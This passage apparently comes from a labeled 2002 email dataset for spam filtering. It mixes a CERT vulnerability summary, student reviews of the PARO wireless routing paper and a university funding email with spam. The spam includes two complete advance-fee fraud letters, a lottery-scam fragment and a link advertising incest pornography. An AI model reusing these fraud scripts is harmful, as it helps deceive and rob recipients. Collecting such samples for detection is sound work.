pointers to sources of information for dealing with the problems. Past CERT summaries are available at http://www.cert.org/summaries/. ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issues in May 2002 (CS-2002-02), we have released several advisories, published statistics for the second quarter of 2002, and written numerous white papers. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. 1. Multiple Vulnerabilities in CDE ToolTalk The Common Desktop Environment (CDE) ToolTalk RPC database server contains a buffer overflow vulnerability that could allow a remote attacker to execute arbitrary code or cause a denial of service. CERT Advisory CA-2002-26: Buffer Overflow in CDE ToolTalk http://www.cert.org/advisories/CA-2002-26.html Two vulnerabilities have been discovered in the Common Desktop Environment (CDE) ToolTalk RPC database server. The first vulnerability could be used by a remote attacker to delete arbitrary files, cause a denial of service, or possibly execute arbitrary code or commands. The second vulnerability could allow a local attacker to overwrite arbitrary files with contents of the attacker's choice. CERT Advisory CA-2002-20: Multiple Vulnerabilities in CDE ToolTalk http://www.cert.org/advisories/CA-2002-20.html 2. Integer Overflow in XDR Library There is an integer overflow present in the xdr_array() function distributed as part of the Sun Microsystems XDR library. This overflow has been shown to lead to remotely exploitable buffer overflows in multiple applications, leading to the execution of arbitrary code. Although the library was originally distributed by Sun Microsystems, multiple vendors have included the vulnerable code in their own implementations. CERT Advisory CA-2002-25: Integer Overflow in XDR Library http://www.cert.org/advisories/CA-2002-25.html 3. Multiple Vulnerabilities in OpenSSL There are four remotely exploitable buffer overflows in OpenSSL. There are also encoding problems in the ASN.1 library used by OpenSSL. Several of these vulnerabilities could be used by a remote attacker to execute arbitrary code on the target system. All could be used to create denial of service. CERT Advisory CA-2002-23: Multiple Vulnerabilities in OpenSSL http://www.cert.org/advisories/CA-2002-23.html 4. Multiple Vulnerabilities in Microsoft SQL Server The CERT/CC is still receiving reports of systems being compromised by exploiting vulnerabilities in Microsoft SQL Server. The Microsoft SQL Server contains several serious vulnerabilities that allow remote attackers to obtain sensitive information, alter database contents, compromise SQL servers, and, in some configurations, compromise server hosts. CERT Advisory CA-2002-22: Multiple Vulnerabilities in Microsoft SQL Server http://www.cert.org/advisories/CA-2002-22.html 5. Buffer Overflows in Multiple DNS Resolver Libraries Buffer overflow vulnerabilities exist in multiple implementations of DNS resolver libraries. Operating systems and applications that utilize vulnerable DNS resolver libraries may be affected. CERT Advisory CA-2002-19: Buffer Overflows in Multiple DNS Resolver Libraries http://www.cert.org/advisories/CA-2002-19.html 6. OpenSSH Vulnerabilities in Challenge Response Handling There are two related vulnerabilities in the challenge response handling code in OpenSSH versions 2.3.1p1 through 3.3. They may allow a remote intruder to execute arbitrary code as the user running sshd (often root). The first vulnerability affects OpenSSH versions 2.9.9 through 3.3, that have the challenge response option enabled, and use SKEY or BSD_AUTH authentication. The second vulnerability affects PAM modules using interactive keyboard authentication in OpenSSH versions 2.3.1p1 through 3.3, regardless of the challenge response option setting. CERT Advisory CA-2002-18: OpenSSH Vulnerabilities in Challenge Response Handling http://www.cert.org/advisories/CA-2002-18.html 7. Apache Web Server Chunk Handling Vulnerability There is a remotely exploitable vulnerability in the handling of large chunks of data in web servers that are based on Apache source code. This vulnerability is present by default in configurations of Apache web servers versions 1.3 through 1.3.24 and versions 2.0 through 2.0.36. The impact of this vulnerability is dependent upon the software version and the hardware platform the server is running on. CERT Advisory CA-2002-17: Apache Web Server Chunk Handling Vulnerability http://www.cert.org/advisories/CA-2002-17.html 8. Denial-of-Service Vulnerability in ISC BIND 9 A denial-of-service vulnerability exists in version 9 of the Internet Software Consortium's (ISC) Berkeley Internet Name Domain (BIND) server. ISC BIND versions 8 and 4 are not affected. Exploiting this vulnerability will cause the BIND server to shut down. CERT Advisory CA-2002-15: Denial-of-Service Vulnerability in ISC BIND 9 http://www.cert.org/advisories/CA-2002-15.html ______________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new or updated * Advisories * Incident Notes * CERT/CC Statistics * Tech Tips * White Papers + Securing an Internet Name Server + Creating a Computer Security Incident Response Team: A Process for Getting Started + Flow-Service-Quality (FSQ) Engineering: Foundations for Network System Analysis and Development + A Brief Tour of the Simple Network Management Protocol + Information Survivability: Required Shifts in Perspective ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. 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I am Dr KEN GRAY. the Auditor General of a bank in Africa, during the course of our auditing I discovered a floating fund in an account opened in the bank in 1990 and since 1993 nobody has operated on this account again, after going through some old files in the records I discovered that the owner of the account died without a [heir] hence the money is floating and if I do not remit this money out urgently it will be forfeited for nothing. the owner of this account is Mr. Duncan Harkinson, a foreigner, and a sailor, and he died, since 1993. and no other person knows about this account or any thing concerning it, the account has no other beneficiary and my investigation proved to me as well that Mr. Duncan Harkinson until his death was the manager Mr. Duncan Harkinson Coy.(pty). SA. We will start the first transfer with fifty two million [$52,000.000] upon successful transaction without any disappoint from your side, we shall re-apply for the payment of the remaining rest amount to your account. The amount involved is (USD 152M) One hundred and Fifty two million United States Dollars, only I want to first transfer $52,000.000 [fifty two million United States Dollar from this money into a safe foreigners account abroad before the rest, but I don't know any foreigner, I am only contacting you as a foreigner because this money can not be approved to a local person here, without valid international foreign passport, but can only be approved to any foreigner with valid international passport or drivers license and foreign a/c because the money is in us Dollars and the former owner of the a/c Mr. Duncan Harkinson is a foreigner too, [and the money can only be approved into a foreign a/c. However, we will sign a binding agreement, to bind us together I got your contact address from the Girl who operates computer, I am revealing this to you with believe in God that you will never let me down in this business, you are the first and the only person that I am contacting for this business, so please reply urgently so that I will inform you the next step to take urgently. Send also your private telephone and fax number including the full details of the account to be used for the deposit. I want us to meet face to face to build confidence and to sign a binding agreement that will bind us together before transferring the money to any account of your choice where the fund will be safe. Before we fly to your country for withdrawal, sharing and investments. I need your full co-operation to make this work fine. because the management is ready to approve this payment to any foreigner who has correct information of this account, which I will give to you, upon your positive response and once I am convinced that you are capable and will meet up with instruction of a key bank official who is deeply involved with me in this business. I need your strong assurance that you will never, never let me down. With my influence and the position of the bank official we can transfer this money to any foreigner's reliable account which you can provide with assurance that this money will be intact pending our physical arrival in your country for sharing. The bank official will destroy all documents of transaction immediately we receive this money leaving no trace to any place and to build confidence you can come immediately to discuss with me face to face after which I will make this remittance in your presence and three of us will fly to your country at least two days ahead of the money going into the account. I will apply for annual leave to get visa immediately I hear from you that you are ready to act and receive this fund in your account. I will use my position and influence to obtain all legal approvals for onward transfer of this money to your account with appropriate clearance from the relevant ministries and foreign exchange departments. At the conclusion of this business, you will be given 35% of the total amount, 60% will be for me, while 5% will be for expenses both parties might have incurred during the process of transferring. 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White Earth Health Division- Minwamanji'o Project my salary for 160 hours my volunteer staff 200 hrs (combined) (this does not include the hours of the actual workshop) White Earth Water & Sewer 10 hr. use of backhoe White Earth Tribal Council 2 acres of lakefront property (+ the usage of 13 acres of wooded area, a garage and barn) White Earth Community Food Project 4 cases of juice spritzers organic banana chips dried organic pineapple rings Many other contributions have been made that involve the building such as a stove, freezer, compost toilet (promised), greywater system, various supplies... Please let me know if you need an estimated dollar amount. Again, this will be difficult as some of these items would be unobtainable elsewhere. The most accurate information that I can give you is that all of the contributions, including the $$'s from the Uof M are priceless. This will most likely drive the Number Crunchers nuts, but how can you put a number on the stuff that really counts from this project? Steph P.S. I will get over being so sentimental one day. Or maybe not. ----- Original Message ----- From: Linda Kingery To: Stephanie Williams Sent: Monday, September 16, 2002 1:33 PM Subject: estimate of inkind contribution Stephanie, I hope you've had some time to enjoy all that you and Minwamanji'o have accomplished this summer. Do you have any questions about either the evaluation form or the invoice process? I'm putting together some information for the Deans - we meet this friday in St. Paul - I want to account for the in-kind contributions and cash contributions to the project partnerships we're involved in. Can you estimate the value of the in-kind contributions to the workshop and building? Thank you. LK Linda Kingery University of Minnesota Northwest Regional Sustainable Development Partnership 262 Owen 2900 University Ave Crookston, MN 56716 1-887-854-7737 lkingery@polarcomm.com ",0,0 sanusi abiola ,XXXXXXXXXX@XXXXXX.XX.XXX,"Mon, 16 Sep 2002 23:46:37 -0400",BUSINESS ASSISTANCE,"Dear Sir, I am Dr. Sanusi Abiola, the personal Assistance to the late Nigerian Minister of Justice and the Attorney General of the Federal Chief Bola Ige, who was murdered on 23rd of December 2001 by unknown persons. Before he became the minister of Justice and the Attorney General of the Federation, he was once the Minister of Mines and Power. During his time as a Minister of Mines and Power, the Federal Government of Nigeria gave to his ministry the sum of US$200 Million, which is to be used for the completion of the Ajaokuta Steel Industry and the purchasing of electrical transformers and able for the Nigerian Electric Power Authority (NEPA). Then this jobs and the supply of the transformers and cables were done, but of low Quality standard and the transformers he imported were of low quality standard and of low power capacity. Because of the low quality standard of this jobs, the sum of US$22 Million was realized of which he deposited US$15 Million to a security company abroad and was looking for a reliable person or company whom he will transact business with before he meet his un-timely death on the 23rd of December, 2001. He informed the security company about his foreign partner who will be coming to pick the money although no company's name was given to the security company before he died it was only I and the late Chief Bola Ige knows about the money. Therefore, if you can be trusted in fairness to your honesty to safe keep that money pending when I will be coming to meet you in your country. Please, if you are not interested with this business,kindly inform me As soon as you received this proposals. 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Note: Anybody under the age of 18 is automatically not disqualified. Yours Sincerely, Mrs. Mercy Williams, For Management. www.lott.nl ",1,0 mvp9@cornell.edu,egs@CS.Cornell.EDU,"Wed, 18 Sep 2002 21:11:46 -0400",615 PAPER 13,"This paper presents a protocol for wireless ad-hoc mobile networks that focuses on minimizing power consumption both in data transmission and protocol messages. The new idea driving the protocol is that the maximum number of nodes should be used in a transmission to minimize overall used power. It is reactive, in that a ""best"" route is calculated only when some data is to be sent from some node. The algorithm for route discovery is greedy, so that the resulting route is not optimal even in a static network. The protocol seems to assume that source and destination are within range of each other. Presumably, if this is the case, PARO can be integrated with another network layer protocol, but the details of this are never described. More generally, power consumption is rarely the only concern, which means PARO would have to combine the power-based cost function with other costs, which can get arbitrarily complicated. Clearly, there are also circumstances where total power use for a route is increased by relieving a highly stressed node - which is certainly desirable - but this is not taken into account by PARO. Also, in a dynamic network it seems that nodes will often have to transmit at full power, destroying any advantages the protocol was hoping to offer. Although the paper's motivation is compelling, power consumption is rarely the sole factor in route determination. Combination with other metrics is probably the first extension to be pursued. However, the issues above would have to be addressed before further extensions can be profitably pursued. In a sensor network (or any other that is static) it is probably more efficient to use a link-state algorithm, which really does calculate optimal routes. Their comparison to MLSR is not convincing as in the long run, when no maintenance is necessary, the link-state must clearly win out. ",0,0 Milo Polte ,egs@CS.Cornell.EDU,"Wed, 18 Sep 2002 21:42:51 -0400",615 Paper 13,"This paper designs a routing protocol motivated by a need to conserve power rather than minimize delay and bandwidth. The basic idea revolves around an eavesdropping node, call it R, listening to a conversation between S and T. If R calculates that it could lower the power consumption required in this travel by acting as an intermediate host (i.e. the total power cost from S to R to T is less than that directly from S to T) then R sends a packet to both S and T alerting them of R's candidacy as a forwarding host. S will now send packets to T's IP address, but with R's MAC address. All the nodes involved will of course have to maintain routing information for this route. This paper is notable because it is the first paper we have read that attempts to form a routing protocol with the goal of minimizing power consumption rather than, say, hopcount. They attempt to do extensive profiling of their performance which is laudable and characterize under what conditions the algorithm works best (packets send very rapidly or nodes remain mostly still). However, ultimately this algorithm is a simple idea which falls apart in a complex world. Their assumptions are unreasonable. The notion that all communicating nodes are within maximum transmission distance of each other, for example, is pretty unusual (it also breaks their redirecting technique). In none of their simulations do they provide the reader with bandwidth calculation (I would even settle for a 'goodput' measure), and their comparison to MLSR is done on static nodes, whereas the focus of the paper is on mobile hosts. They mention themselves that the route constructed by this algorithm may be sub-optimal. What this paper truly needs is a smaller scope. As it stands it is pretty poor routing algorithm. It's real use would be as a modification upon existing protocols--The notion of eavesdroppers nominating themselves as a more power efficient route could easily be imagined as a plugin to other protocols like AODV. It would be interesting to see, say, a comparison of the bandwidth, latency, and power consumption of AODV vs. the same metrics on AODV+PARO. ",0,0 Hubert Sun ,egs@CS.Cornell.EDU,"Wed, 18 Sep 2002 21:49:35 -0400",615 Paper 13,"PARO (Power-aware routing optimization) was introduced in this paper. The creators of PARO looked at ad-hoc networks in a different way then we have in the previous papers. In general, it considers the optimal path route from node A to node B to be the route that requires the least amount of transmission power. This is good because in general, nodes in ad-hoc wants to save battery power, and the less power spent sending packets means more power for longer life or for other tasks. PARO has two main assumptions: the device used to transmit packets has an interface to control the transmission power, and that nodes can listen to packets (not intended for it) and gather information from those packets. The general idea is that if A has a route to B, it tries to send a message to B. If a node C in between A and B hears that message, it calculates whether or not it can overall transmitting power if it is used as a redirect node. If so, it sends a message to A telling A to redirect all packets to B through C. The calculation of transmission power is based on signal strength of a packet received. In a mobile network, because nodes can be moving, the signal strength may vary from packet to packet. Therefore the calculation of the minimal transmission power is crucial. If chosen too low, the packet may not reach any node. I find it sort of ironic that for the PARO to work efficiently and accurately, it needs packets to be sent in the network so information about transmission can be gathered. I can see why this algorithm might work for a static network, but i still need some convincing for ad-hoc networks. For the ad-hoc network, it just seems like the deltas and approximations in the algorithms are just increased to account for network movement and therefore maybe not even saving power. I don't think the example described in figure 4 of the paper, is entirely correct. If B was indeed a redirect node, A would only be using enough power to send packets to B, and therefore C shouldn't be able to hear what A is sending. Also PARO is based on too many assumptions. More work has to be done with choosing the correct parameters and simulations in the real world have to be done. In general, can an algorithm that relies on configuration parameters (which depend on network environment) be successful in an ad-hoc network? I ask this because the general nature of ad-hoc networks is that the environment is unpredictable and optimal parameters might have to be set on the fly dependent on network characteristic. Also, by just considering power, how much cost in performance will it give up? The importance of saving power and trade offs has to be looked at more closely. ",0,0 Mark Robson ,egs@CS.Cornell.EDU,"Wed, 18 Sep 2002 22:29:32 -0400",615 PAPER 13,"This paper presents PARO, a power-aware routing optimization for wireless networks. Power is a key commodity in wireless networks and all efforts to conserve it should be made. Their goal is to identify paths through the network that will minimize network power usage by introducing additional nodes into a path. The protocol works as follows: If S wants to broadcast to D, it turns up its power such that it can. Since power is not a linear function distance, they argue it may be beneficial for another node to cut the path into two portions to reduce power consumption. After S talks to D, if any other node overhears the message and feels that it can save the network some power by introducing itself into the path, it tells both S and D to include it along their path for all future communication. This process continues until some steady state it reached. They make some gross and unrealistic assumptions. They assume a wireless network wherein all hosts can communicate with all other hosts (provided they turn up their power sufficiently high). They also assume links are bi-directional and equally ""good"" in both directions. Their results seemed somewhat concocted to highlight those areas this protocol is meant to address; they don't give any more ""traditional"" measurements such as bandwidth, latency, etc. Given their assumptions and limited results, the protocol seems useful. It certainly seems to save significant amounts of power, and that is what they set out to accomplish. Future work might consider a hybrid protocol; one that combines a modified version of PARO and some other protocol to try to conserve power in a network where all hosts are not necessarily reachable by (paraphasing) ""sufficiently increasing one's transmission power."" ",0,0 Xin Zhang ,Emin Gun Sirer ,"Wed, 18 Sep 2002 22:49:03 -0400",615 PAPER 13,"The paper as its title suggests, gives a routing protocol that optimizes power consuming. The way by which the protocol achieves this is: By overhearing the data packets from the source and acknowledgements from the destination, the intermediate nodes estimate the transmission power needed when acting as a redirector. By choosing the redirector with the lowest opt, the optimal 2-hop route is discovered. However, this may not result in the final optimal route. Iterating this process, the multihop route is discovered. By setting the alpha, the protocol effectively limits the number of hops, the increase of which will cause more delay and power consumed for computing and repeating. The algorithm seems quite feasible and the simulation results also confirm this. It may be planted into the wide-area routing protocols to act as a local optimization. But it doesn't handle the mobility well. The proactive approach is generally not as efficient in comm. networks where data are of a bursty nature as reactive ones. This makes one doubt whether in mobile ad hoc networks, energy conservation by introducing more hops really works, since more hops also makes the route more unstable and hence more overload need to update the route against the modes' mobility. Also, in reality, the power control levels must be discrete. Is it possible to take this into consideration in the transmit redirect, say when calculation the opt? ",0,0 Bowei Du ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 00:05:57 -0400",615 PAPER 13,"Paper 13 - PARO This paper identifies network activity, specifically transmissions, and transmission power as a key component in the longevity of MANET devices. The paper proposes that the focus of contemporary routing protocol do not take advantage of adjustments in transmission level. By using intermediary nodes to transmit at a lower power level to convey the message, MANET devices can extend their battery life. PARO describes a protocol in which intermediary nodes can detect and use potential transmissions that can be routed through them to save power. PARO is the first routing protocol to fully consider the implications of power consumption within the routing protocol itself. PARO seems to be a not a full routing protocol in of itself, i.e. such aspects as destination discovery and route maintenance as vague and unclear. (i.e. what if the destination is not within a transmission neighborhood?) PARO does seems to be a good method of fine tuning paths created by other routing protocols to become more power efficient. In general, failure conditions (node death, dropped packets) are not considered. The increased failure rate that occurs when path lengths are increased and transmission power decreased could be problematic. It would be nice if the paper included actual costs of transmission of a packet, which is not simply a function of transmission power. It is interesting to note that MAC level transmissions such as RTS/CTS are still sent at full power. What are the implications of this, given the high fixed energy cost of sending packets? Also, promiscuous listening on the ether means that adapters are not able to take advantage of fully powering down during other node transmissions. One big difference between this paper and the others we have read is the existence of simulation data and an actual implementation. Although the actual results aren't really anything astounding (or enlightening), a proof of concept is nice. The simulation graph is surprisingly sparse for data points. The comparison graph with MLSR only shows the difference between energy wasted by the initial startup costs. What about dynamic behavior of PARO, and say, another reactive protocol using the same metrics to obtain routes? One future direction would be incorporation of PARO as a feature of another protocol to fine-tune routes. An interesting topic would be adaptation of power level due to the density of surrounding neighborhood. This could cause other protocols to naturally adopt PARO-like routes. ",0,0 Aleksandr Gilshteyn ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 00:22:23 -0400",615 PAPER 13,"In this paper we were presented with PARO, a power-aware routing protocol for wireless ad hoc networks. The goal of PARO is to minimize the transmission power consumed in the network. In order to do this, PARO tries to find a route for which the transmission power required is minimimal. It tries to do this using as little transmission power as possible. Finally, PARO is a kind of protocol that discovers routes on-demand and on a node-to-node basis. The algorithm makes some pretty big assumptions. First, PARO requires that nodes be able to dynamically adjust the transmission power used to communicate with other nodes. Second, PARO assumes that the transmission power required to transmit a packet between nodes A and B is similar to the transmission power required to transmit a packet between nodes B and A, which a lot of times is not the case. Finally, the protocol assumes that all nodes are within direct transmission range of each other (though it can perform power optimization as a layer 2.5 if this is not the case). PARO optimizes routes one step at a time, thus it requires several iterations to converge to an optimum route. Additionally, the protocol does not guarantee that the final route is the route that will need the minimum transmission power. On the other hand, during later iterations reductions in transmission power are much smaller than the ones obtained during the first few iterations. Thus, we obtain most of the benefits fast even with the caveats above. The simulations ran to test the protocol were not very impressive. The simulation for a network with 10/30/100 static nodes lasted for only 100 seconds with 10 flows transmitting 512 bytes packets every 3 seconds. This is not typical of a real network and it's hard to conclude anything about scalability and about how this protocol would perform on a real network. ",0,0 Syed Shafat Zaman ,Emin Gun Sirer ,"Thu, 19 Sep 2002 00:53:20 -0400",615 PAPER 13,"The motivation that worked behind developing a power-aware routing optimization (PARO) is the significance of conserving power in mobile ad hoc networks. As the paper points out, power resources is one of the most scarce resources in present day wireless networks. PARO attempts to minimize usage of power by reducing transmission power when packets are exchanged between nodes. And it does so, by increasing the number of intermediate nodes that the packet has to go through to reach its destination. This is in stark contrast to what most other routing protocols try to achieve (in other words, difference in the definition of optimality). PARO uses a reactive routing algorithm to establish the least power consuming route between a source and a destination. Routes are created and maintained in a strictly on-demand basis as any unnecessary transmission would defeat the purpose of the optimization. One of the biggest weaknesses of PARO is the assumption that both the source and the destination are within hearing range of each other. This raises serious questions about PARO's performance in large settings, and also the objective of the protocol itself. The authors could perhaps have addressed this issue in a more detailed fashion. The paper also offers an analysis of performance of the protocol in a simulated environment. From the results, it becomes rather evident that PARO would perform reasonably well in smaller networks but with not too much mobility. In fact, figure 6 in the paper is strongly indicative of its average performance in a highly dynamic environment. The comparison between PARO and MLSR also seemed like a cheap shot to convince the reader about PARO's effectiveness. MLSR, by virtue of being a proactive routing protocol, always has more packet transmission than PARO. A more realistic comparison with an efficient reactive protocol could serve the purpose better. Future enhancements should definitely include the scalability issue that the current version overlooks. Also, factors like load balancing, route-loops should be looked into. A better algorithm for reducing convergence time could also be developed. This would be particularly helpful in ameliorating PARO's performance in mobile wireless networks. ",0,0 Janet Suzie Yoon ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 02:04:49 -0400",615 PAPER 13,"The conservation of transmission power is important in devices such as notebook computers and cellular phones where transmission power plays a significant role in power consumed. Reducing transmission power in such situations can dramatically increase the device's operational lifetime. The MANET protocols we have previously looked at have been inefficient in terms of transmission power because their goal was to minimize the number of hops between source-destination pairs. MANET protocols tend to use the maximum transmission power in order to minimize the number of forwarding nodes (redirectors) or they tend to use too many signaling packets being generated at a lower transmission power. This paper offers a protocol, the power-aware routing optimization (PARO), which attempts to maximize the number of redirectors and thus minimize the transmission power consumed in the network. PARO further deviates from MANET protocols in that it is not broadcast-based but node-to-node based. PARO consists of three main operations: (1) Overhearing Algorithm - listens to packets sent in the MAC level in order to learn the minimum transmission power towards neighboring nodes (2) Redirecting Algorithm - computes whether power will be saved by redirecting the source-destination route to include this intermediate node (3) Route-Maintenance Algorithm - PARO is a protocol for both wired and wireless network. Only wireless networks need to utilize the Route-Maintenance Algorithm. PARO mainly relies on data packets as its source of routing information. Signaling packets called route-maintenance packets are sent when no data packets are available within the specified interval route-timeout. PARO relies on a few assumptions: - The transmission power used to communicate with other nodes must be dynamically adjustable. This is not a far-reached assumption since commercial radios that support IEEE 802.11 and Bluetooth have this kind of power control - The transmission power needed to transmit a packet from A to B is similar to that of B to A. This is a less reasonable assumption than the one above since it requires an interference-free MAC. - Every data packet successfully received is acknowledged at the link level - All nodes are located in transmission range of each other and can overhear any transmission by other nodes. This is the biggest assumption in the protocol, especially in reference to wireless ad-hoc networks. There are some flaws in PARO in convergence and scalability. Since only one redirector can be added for each iteration, it takes several iterations for the network to converge to a final route. In a highly mobile network, convergence may never take place. Also, since only one intermediate node can be added as a redirector node at a time, as the network becomes denser, there is a greater increase in collision and bandwidth waste. Finally, the optimal redirector added in the first resolution might not lead to the optimal route. Even if the route itself was optimal, the power consumption may not be evenly distributed and thus a node in the network could end up with a considerably shorter lifetime (even if it was not a source or destination node). Interesting enough, simulation shows that more than 3 redirectors may not be optimal (the original goal was to maximize the number of redirectors) due to increase in end-to-end delay and signaling overhead needed to maintain these routes. This protocol did not mention how it handled network partition. Also, it would be useful to know the processing power needed to implement PARO compared to the transmission power saved. Some of the computations are difficult and complex, such as the computation of the minimum transmission power necessary to communicate with the overhead node. ",0,0 Quinton ,egs@cs.cornell.edu,"Thu, 19 Sep 2002 16:28:46 -0700",Hardcoree incestt Scenes!," Dad fuckingg nice daughter! http://gamedaypay.info/bxfamilynig.htm ",1,1 Matt Piotrowski ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 09:51:09 -0400",615 Paper 13,"The major contribution of this paper is the PARO protocol. This protocol is important because its main goal is to minimize power consumption. This is in contrast to prior protocols whose main goal is minimizing route length and/or convergence time. So instead of trying to find the minimum number of hops between two nodes, PARO tries to find the maximum number. A weakness of this paper is the assumption that all nodes are within range of each other. In many real networks this is certainly not the case. The authors realize this and say that perhaps PARO is better suited as a protocol between the link layer and the network layer instead of being ""the"" network layer protocol. Another weakness is the poorly suited nature of PARO in fairly mobile networks. This again, is not a realistic assumption in many cases. The work in this paper could be expanded upon by combining PARO with a routing protocol that does not assume that all nodes are within transmission range of each other. PARO could be used for local communications, while the other protocol is used for more wide-range communication. I suspect that if the interface to PARO were made clean enough, it would not be hard to code it into simulations of a number of different routing protocols. ",0,0 nbs24@cornell.edu,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 10:04:14 -0400",615 PAPER 13,"Conserving Transmission Power in Wireless Ad Hoc Networks Previous papers did not consider the need for power conserving algorithms in their routing protocols. This paper proposes a power-aware routing optimization, PARO. It focuses on minimizing overall power consumption in an ad-hoc network by maximizing the number of nodes used during transmission. This is achieved by allowing an intermediate node to overhear transmission between source and destination nodes. If the intermediate node thinks by its calculation a route through itself will conserve power, it elects to forward the packet from the source to the destination. There can be several intermediate nodes between source and destination. This optimization takes advantage of the ability to adjust power transmission levels. This paper assumes that source and destination nodes are within range of each other. This is very flawed. In introducing more nodes between source and destination, it is more likely that packets will be lost, but these were not considered. Since their algorithm requires several iterations to converge toward a final route, this might take incredibly long or if the network is very dense, convergence may never be reached. Their algorithm also focuses on transmission power only and neglects the cost of processing overhead packets and the cost of keeping the nodes in a listening mode. Their simulations did not consider a mobile network and therefore did not lend credence to their claims of better performance. To build on the research, PARO needs to be implemented in a real network to evaluate the convergence rate and comparisons made with other protocols apart from MLSR Nana B. Sam ",0,0 kwalsh@CS.Cornell.EDU,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 10:11:31 -0400",615 PAPER 13," Conserving Transmission Power in Wireless Ad Hoc Networks PARO is a power-aware routing algirhtm based on the observation that many short hops are often more power efficient (in terms of transmission power only) than fewer long hops. Standard ad hoc routing protocols exarcerbate the power problems of mobile devices by using hop count, as opposed to power consumption, as the routing metric. In this paper, the authors assume that all nodes are within transmission range of each other under maximum transmission power. In networks where this is not the case, a heirarchical scheme might be adopted, with PARO conserving power locally, and a more traditional routing protocol ensuring long-range connectivity. This is not discussed in detail. The auhors further assume, for the purposes of estimating minimum transmission cost to nearby nodes, that links are bidirectional and are essentially symmetric in terms of power requirements. In PARO, the primary route discovery mechanism nodes overhear data transmissions of nearby hosts. Each transmitted packet contains the power level at which the packet was sent. Nearby nodes, upon overhearing the packet, can essentially ""subtract"" the local recieve power from the transmitted power (according to a propagation model), and thereby detirmine the power needed to send to the originating node. Using this method, each node builds a cost table for nearby nodes. During route initialization, a source will send directly to a destination at full power. Intermediate nodes, upon overhearing the transmission, can detirmine if it would be cost (power) efficient to insert themselves in the route. If so, then the node informs both sender and reciever of this fact. Source and dest can choose the most efficient neighbor as the next hop. This process is repeated until some threshold of improvement can no longer be met. The most critical weakness of this paper, as usual, is in the evaluation. A simple simulation compares PARO to a modification of LSR (using power as the cost metric, rather than hops). Here, the modified LSR appears to find identical (if not better) power-aware routes. The disadvantage, the authors claim, is that LSR takes more broadcasts, which are quite expensive, to do so. PARO's advantage might dissapear, however, by using a routing algorithm less costly than LSR. ",0,0 Sangeeth Chandrakumar ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 10:29:46 -0400",615 PAPER 13,"Submitted by - Sangeeth Chandrakumar Conserving Transmission Power in wireless Ad Hoc Networks This paper introduces PARO, a power-aware routing optimization that results in the reduction in power expended in transmissions from a source to destination among ad hoc networks. Developing efficient architectures and protocols that increase the operational lifetime of network enabled services. PARO uses a packet forwarding technique where intermediate nodes can elect to be ""re-directors"" between a source destination pair with the goal of reducing the transmission power required. PARO is a node-to-node based routing technique, thus geting rid of the inefficiencies of having to send out too many signalling packets as in a broadcast flooding technique. Efficient routes are discovered using data packets itself, other than using signalling packets. In this protocol, every nodes updates its packet header to indicate the power required to transmit the packet. Any node which overhears both source and destination can compute whether packet forwarding can result in power savings. If an intermediate node elects to become a re-director it sends a route-redirect message to source and destination informing them of the new node. If a node does not have information on power requirements to the destination, it just sends it out with the maximum power. Every node maintains a overhear cache where it stores the triple(ID, time, Power) required for each destination. In dense networks, multiple redirect messages could be generated, in which case the redirect request with the best power optimization is chosen. PARO deals with the mobility of nodes by transmitting at a power level slightly greater than the recorded value to increase the probability of reaching the next hop on the first attempt. The authors also present an evaluation of the protocol proving the fact it results in power reduction when there are sufficient number of re-directors. But these simulations also reveals much of the drawbacks of the protocol. Having more than three re-directors does not result in more saving of power and only results in creating a longer route, increasing the end-to-end delay. Though the simulation gives good results with static networks, ina more mobile environment data packets transmitted are likely to be lost. IN comparison to MLSR, the power savings achecived by PARO is significantly better. Comments: PARO addresses a significant issue with mobile ad hoc networks. But the main drawbacks of the paper are the strong assumptions it make. - It assumes dynamic power transmission power and interference-free MAC. - PARO does route optimization one step at a time. SO it would require several iterations before it would converge into the most optimal route. Also it is possible that the first iteration, which seemed optimal could result in a final route which is not the route achieving the minimum transmission power. - PARO tries to minimize the power by redirecting through intermediate routes. But a re-director could chose to be one for many transmissions, thus depleting its energy source much earlier. - Simulations does not take into account the effects of control packet overheads. This could have a significant impact on the power savings as the RTS/CTS packets are sent with maximum power. ",0,0 vrg3@cornell.edu,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 10:53:47 -0400",615 PAPER 13,"This paper presents the Power-Aware Routing Optimization, PARO. PARO is an approach to routing which actually in a sense has a goal that is the reverse of others which we have examined; rather than trying to minimize the number of hops on a route, PARO attempts to increase them so that transmissions can be done at lower power. The basic idea behind PARO is that two nodes, A and B, can be communicating directly with each other when a third node, C, is between them. C can decide whether or not it can improve the overall power consumption, and, if so, negotiates a new route with A and B such that their packets travel through C. A (or B) then communicates with B (A) by sending a lower-power transmission to C, which forwards the transmission, also at low power, to B (A). There are a few strong assumptions made in the development of PARO. The one that concerns me most is that all the nodes should be able to communicate with each other, if they set their power levels high enough. This is simply not possible in a large-scale MANET. This points clearly to a future direction of work: incorporating PARO into another routing protocol. As its name suggests, PARO would likely be best used as an optimization on top of an existing protocol. The paper does not actually present PARO as a complete MANET routing protocol anyway; it does not really address problems such as link failures and limited bandwidth. ",0,0 Hongzhou Liu ,Emin Gun Sirer ,"Thu, 19 Sep 2002 11:06:49 -0400",615 PAPER 13,"Conserving Transmission Power in Wireless Ad Hoc Networks This paper introduces PARO, a power-aware routing optimization that helps to minimize the transmission power needed to foward packets between wireless devices in ad hoc networkss. Due to its power conserving point-to-point on-demand design, PARO is capable of outperforming the traditional broadcast-based routing protocols(e.g., MANET routing protocols). The simulation result reveals an important fact that compared to the power consumed by the data and control packets transmitted before convergence of optimal routes, the consumption of later data transmission is less significant, thus suggests an important design principle for future power-aware routing protocols that is the avoidance of ""blind"" (e.g., broadcast) transmission at high power. The core algorithm of PARO consists of three parts: overhearing, redirecting and route-maintenance. The overhearing algorithm estimates the minimum power needed to send packets to the overheard node. The estimated value is stored and is used by the 